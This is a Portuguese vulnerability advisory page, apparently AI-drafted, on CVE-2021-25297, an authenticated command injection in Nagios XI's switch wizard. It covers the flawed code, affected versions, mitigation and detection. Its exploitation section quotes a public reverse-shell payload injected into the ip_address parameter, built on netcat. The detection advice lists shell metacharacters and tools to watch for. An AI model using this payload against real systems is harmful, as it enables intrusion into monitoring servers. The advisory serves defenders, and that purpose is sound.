← voltar
CVE-2021-25297highsob ataqueCWE-78

CVE-2021-25297

98Vexday Risk Score

Corrija agora. Ela está sob exploração confirmada pelo CISA e tem exploit funcional público.

ssvc Actcvss 8.8epss 56%
da publicação à arma0 dias
Publicada no NVD15 de fev.
metasploit13 de fev.
CISA KEV+337d
probabilidade de exploração
56%top 1% das CVEs
exploração observada
simCISA + VulnCheck
2 exploit(s) público(s)
Ação exigida pela CISAprazo federal: 2022-02-01

Apply updates per vendor instructions.

Resumo

Injeção de comando OS autenticada no assistente de configuração de switches (SNMP) do Nagios XI, explorável por qualquer usuário autenticado — inclusive contas sem privilégio de administrador. É a mesma classe de falha (exec() com input não sanitizado) encontrada em pelo menos outras três CVEs do mesmo pesquisador na mesma versão, e está no catálogo KEV da CISA com exploração confirmada em campo, o que eleva a prioridade além do que o CVSS 8.8 já sugere.

Detalhamento técnico

O ponto vulnerável é a função switch_configwizard_add_cfg_to_mrtg() em /usr/local/nagiosxi/html/includes/configwizards/switch/switch.inc.php. O parâmetro ip_address, recebido via HTTP no assistente de monitoramento (monitoringwizard.php, wizard=switch), chega como $address sem qualquer sanitização e é usado para montar o nome de arquivo MRTG ($mrtg_cfg_file = "{$address}.cfg") e o caminho absoluto correspondente. Esse caminho é então concatenado diretamente dentro de um comando shell passado a exec(): exec("sed -i '1s|.*|{$infoline}&|' $absolute_mrtg_cfg_file"). Como não há escaping (nem escapeshellarg/escapeshellcmd) nem validação de formato de IP antes dessa concatenação, qualquer metacaractere de shell (;, |, &&, backticks) injetado no valor de ip_address é interpretado pelo shell no momento da execução.

É classificada como CWE-78 (Improper Neutralization of Special Elements used in an OS Command) e, na entrada do KEV, também como CWE-138 (Improper Neutralization of Special Elements). A causa raiz é típica de código legado que confia em input vindo de um formulário HTML sem tratar esse input como potencialmente hostil antes de repassá-lo a uma chamada de sistema.

O atacante controla integralmente o conteúdo do parâmetro ip_address enviado na requisição HTTP; o processo Nagios XI (tipicamente rodando como usuário de serviço com privilégios elevados de administração do host de monitoramento) executa o comando resultante.

Como é explorada

A exploração ocorre via uma única requisição HTTP para o endpoint monitoringwizard.php com wizard=switch, nextstep apontando para o estágio em que o valor de ip_address é processado, e um token CSRF (parâmetro nsp) válido — o que exige uma sessão autenticada ativa no Nagios XI. A prova de conceito pública demonstra que ip_address=127.0.0.1;nc -e /bin/sh 127.0.0.1 4445; é suficiente para abrir um shell reverso; não há necessidade de privilégio de administrador, apenas de qualquer conta autenticada com acesso ao assistente de configuração de switches.

Esse é o ponto que a descrição oficial ("authenticated user-controlled input") deixa ambíguo: na prática, contas de baixo privilégio no Nagios XI — que em muitos ambientes são distribuídas mais livremente do que contas de admin de infraestrutura — bastam para acionar a falha. Isso amplia consideravelmente a superfície de ataque em relação à leitura apressada de "precisa estar logado".

A CISA confirma exploração ativa em campo (KEV, adicionada em 18/01/2022, prazo de correção 01/02/2022) e existe módulo Metasploit e template Nuclei públicos, o que reduz a complexidade de exploração a praticamente zero para quem já tem uma credencial válida (obtida por força bruta, credential stuffing, ou phishing contra operadores de monitoramento).

Versões

Afetadas
Oficialmente, o fornecedor associa o CVE-2021-25297 à versão xi-5.7.5. Pesquisa independente (Fastly) demonstrou que a mesma classe de injeção de comando nos assistentes de configuração está presente desde a versão 5.5.6 até a 5.7.5.
Corrigidas em
Não há, nas fontes consultadas, um changelog oficial do fornecedor que declare explicitamente a versão que corrige o CVE-2021-25297. O histórico de releases do Nagios mostra a 5.8.0 lançada em 15/01/2021, imediatamente após a 5.7.5 (08/12/2020) e antes da divulgação pública da falha — trate como indicativo, não como confirmação, e valide a correção na versão atualmente suportada antes de considerar o ambiente remediado.

Como se proteger

O caminho correto é atualizar o Nagios XI para uma versão posterior à 5.7.5. As fontes analisadas não trazem um changelog oficial que declare explicitamente em qual build o fornecedor corrigiu o CVE-2021-25297; o histórico de releases mostra que a 5.8.0 foi publicada em 15/01/2021, pouco antes da divulgação pública da falha (fevereiro/2021) — trate essa versão como candidata mínima razoável, mas confirme no advisory/changelog do fornecedor antes de considerar o ambiente corrigido, e prefira a linha atual suportada (5.11.x ou as séries 2024R1/2024R2/2026R1) sempre que possível.

Se a atualização não for viável de imediato, o controle compensatório real é restringir o acesso à interface web do Nagios XI a redes de gestão/VPN e reduzir o número de contas com acesso ao módulo de assistentes de configuração (configwizards), já que a exploração não exige privilégio de administrador — apenas autenticação válida. Regras de WAF que bloqueiem metacaracteres de shell (;, |, &, backtick, $()) no parâmetro ip_address de monitoringwizard.php mitigam parcialmente, mas não substituem o patch, pois dependem de cobertura completa de encoding e variantes de payload.

O que não funciona como mitigação: assumir que restringir a criação de contas de administrador resolve o problema — a PoC documentada funciona com autenticação não-admin. Também não basta desabilitar apenas o assistente 'switch' na interface, se a rota de API/URL correspondente (monitoringwizard.php) continuar acessível diretamente.

Como detectar

Nos logs de acesso web, procure requisições a monitoringwizard.php com wizard=switch e o parâmetro ip_address contendo metacaracteres de shell (;, |, &&, backtick, $()) fora do formato esperado de endereço IP ou hostname. No lado do sistema, monitore a árvore de processos filhos do processo web/PHP do Nagios XI (apache/php-fpm executando como usuário do serviço nagios) por execução de shells, netcat, curl/wget ou interpretadores incomuns imediatamente após uma requisição a esse endpoint.

Não há um indicador único e confiável além desses padrões de payload — como a exploração passa por um parâmetro de formulário legítimo e requer apenas uma sessão autenticada válida, tráfego malicioso pode se misturar facilmente com uso legítimo do assistente se não houver logging detalhado de parâmetros de requisição habilitado previamente.

Pesquisado e redigido com IA a partir do advisory do fornecedor e de análises públicas, com as fontes acima. Confira sempre a versão corrigida no advisory oficial antes de agir.
Nagios XI version xi-5.7.5 is affected by OS command injection. The vulnerability exists in the file /usr/local/nagiosxi/html/includes/configwizards/switch/switch.inc.php due to improper sanitization of authenticated user-controlled input by a single HTTP request, which can lead to OS command injection on the Nagios XI server.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Produtos afetados
n/a · n/a
⚠ Recursos públicos, para você avaliar a exposição de sistemas que controla ou está autorizado a testar. Teste apenas com autorização.